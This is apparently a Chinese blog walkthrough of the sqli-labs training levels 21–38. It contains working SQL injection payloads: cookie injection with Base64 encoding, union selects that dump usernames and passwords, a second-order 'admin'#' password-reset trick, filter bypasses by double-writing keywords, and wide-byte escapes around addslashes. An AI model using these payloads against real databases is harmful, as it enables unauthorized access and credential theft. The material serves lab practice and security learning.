Less-21

虽然是Cookie注入,但是uname处却有些怪异,明明输入的是Dumb,结果却显示了一串字符,标题显示Base64。

对传入的参数进行加密处理。
对Payload进行编码
admin' and 1=1--+:
YWRtaW4nIGFuZCAxPTEtLSs
有了错误回显。
之后就是构造闭合,通过')闭合。
Payload:-admin') order by 3#查字段长,然后就是正常流程了,只需要对Payload进行编码即可。
但是我在编码时候:

emmmmmmmmmmmmmmm。。。。
换一个平台就好了。
至于具体的构造语句,可以参考我上一篇内容:sqli-labs(Page 1)

Less-22
只需要找到闭合位置,替换成-admin" and 1=1#即可,Payload是一样的。

Less-23
这关白盒比较好做。
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
对注释符进行了替换。咋办,找大佬。下面是大佬的思路。
构造语句:id=' union select 1,2,3 '
爆出回显点,接下来Payload就一样了。
爆表:' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() or '1'='
爆列和上面一样,爆值有区别:
爆值:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'='

Less-24
这关很有趣,还是登录框,但是多了注册新用户的选项。

抓包没什么有用东西,还是要在页面上操作。
先注册一个新用户。

test,密码123456
然后用注册的用户登录,发现有修改密码的功能。

既然是修改密码,那肯定和数据库连接,数据库怎么改变数据内容呢,update语句。
怎么才能登录admin帐号呢。
通过偷天换日。
先注册一个admin'#帐号,密码123456。
用这个帐号登录。

现在我们是admin'#身份登录,修改它的密码。
在对密码进行修改的时候,数据库执行这条语句:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='456789'
而我们用的'#符号派上了用场,注释掉了,整条语句就变为了:
UPDATE users SET PASSWORD='$pass' where username='admin' and password='456789''

然后用admin帐号登录,密码就是刚才修改的。
成功登录了admin帐号。
Less-25

直接就说了or和and这关被过滤了。
绕过。
一种方法是直接不用,直接拼接id=1'--+,还有一种方法就是双写1' oorr 1=1--+、1' aandnd 1=1--+
不过做的时候遇到一个问题就是,它给了我一个配置错误信息:

根据提示我查看了源码:

暂时还不知道什么原因。上次做的时候没出现问题。没办法了,后面几关都记录不上了。
Less-25到Less-28请去这个博客:https://blog.csdn.net/qq_41420747/article/details/81836327
Less-29
这关正常了。
加单引号错误。
构造:-1' union select 1,database(),3--+
之后就还是那些Payload

Less-30
只需要把上一关的单引号闭合替换为双引号即可。


Less-31
id=-1") union select 1,2,3--+即可

Less-32

显示信息说input is escaped。猜测是被转义了,宽字节绕过。
1%df' and 1=1--+

1正常,2异常,说明存在注入点。

之后是一样的。

Less-33
仍然是宽字节绕过。
绕过AddSlashes用%E6%27注释掉AddSlahes函数转义进来的\符号。
然后都是一样的。

Less-34
登录一下,方法还是宽字节绕过。
抓包分析,上一关的%E6%27仍然可以用,唯一不同的是这关我这里字段长只有2个,其他不变。

Less-35
开始还是想宽字节了,结果都不行,然后看了眼标题,不需要在意,那直接单引号。

传入的参数前后都没有什么符号,那就直接注。


Less-36
绕过MySQL real_escape_string
直接%df%27注入即可。

Less-37
POST方式,抓包,依然是%df%27注入,不同的是字段长为2,其他不变。

Less-38
0值绕过(原谅我一时想不起这种方法叫什么了)
直接构造?id=0' union select 1,2,3--+即可

诸君共勉。
本文深入探讨SQL注入技术,包括Cookie注入、闭合注入、宽字节绕过等高级技巧,解析Less-21至Less-38关卡的攻击策略,提供实际案例与解决方案。
1333

被折叠的 条评论
为什么被折叠?



